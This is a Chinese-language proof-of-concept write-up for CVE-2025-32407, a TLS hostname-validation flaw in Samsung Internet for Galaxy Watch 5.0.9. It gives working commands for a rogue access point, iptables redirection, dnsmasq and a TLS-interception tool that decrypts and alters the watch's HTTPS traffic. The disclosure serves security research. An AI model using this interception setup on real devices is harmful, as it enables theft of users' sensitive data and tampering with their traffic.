CVE-2025-32407 的概念验证：三星 Galaxy Watch 应用“Samsung Internet for Galaxy Watch”版本 5.0.9 中的 TLS 证书验证配置错误。
Galaxy Watch 应用“Samsung Internet for Galaxy Watch”版本 5.0.9（支持至三星 Galaxy Watch 3）未正确验证 TLS 证书，攻击者可借此冒充用户访问的任何及所有网站。这是浏览器验证服务器身份方式中的严重配置错误，导致 HTTPS 作为安全信道失效，使得中间人攻击成为可能，进而窃取敏感信息或篡改传入与传出流量。
在此特定案例中，浏览器未验证证书域名是否与网站域名匹配。这意味着只要证书由受信任的证书颁发机构签名，浏览器便会接受任何为任意域名签发的 TLS 证书。攻击者可为其控制的域名获取免费证书，从而拦截应用产生的所有 TLS 连接。
本测试使用三星 Galaxy Watch 3 及“Samsung Internet for Galaxy Watch”最新版本（5.0.9）。请注意，此设备目前已不再支持。
为辅助利用，我开发了一个工具，可动态拦截 TLS 通信并生成由我控制的 TLS 证书，从而能够解密并操纵传入与传出数据：https://github.com/diegovargasj/uncertipy。需要一个由真实 CA 签名的有效 TLS 证书及其密钥。可通过 Let's Encrypt API 及域名免费轻松完成。证书和密钥将分别存储于 /path/to/cert.pem 和 /path/to/key.pem。
有多种方式可拦截手表的通信，例如篡改 DNS 响应或将其连接至为此目的创建的 WiFi 接入点。我们采用后者，使用一台配备两个网络接口的计算机：wlan0 用于访问互联网，wlan1 用于部署 WiFi 接入点。
我将使用 eaphammer（https://github.com/s0lst1c3/eaphammer）部署 WiFi 接入点，您也可以使用其他任意工具。
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
现在，为接口分配 IP 地址：
sudo ip addr add 10.0.0.1/24 dev wlan1
将流量重定向至本地端口 9900：
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
并启用 DHCP 和 DNS：
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
最后，启动 uncertipy 拦截端口 9900 上的 TLS 流量。该流量将被重定向至端口 8080 上的 HTTP 代理，用于日志记录：
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
现在，将手表连接至 WiFi 接入点，打开应用并导航至任意 HTTPS 网站。
uncertipy 工具将通知 TLS 拦截情况。
HTTP 代理将开始拦截请求，其中可能包含敏感信息。此外，我们还可利用代理的功能修改传入或传出请求。
应用应正常工作，显示网站内容。
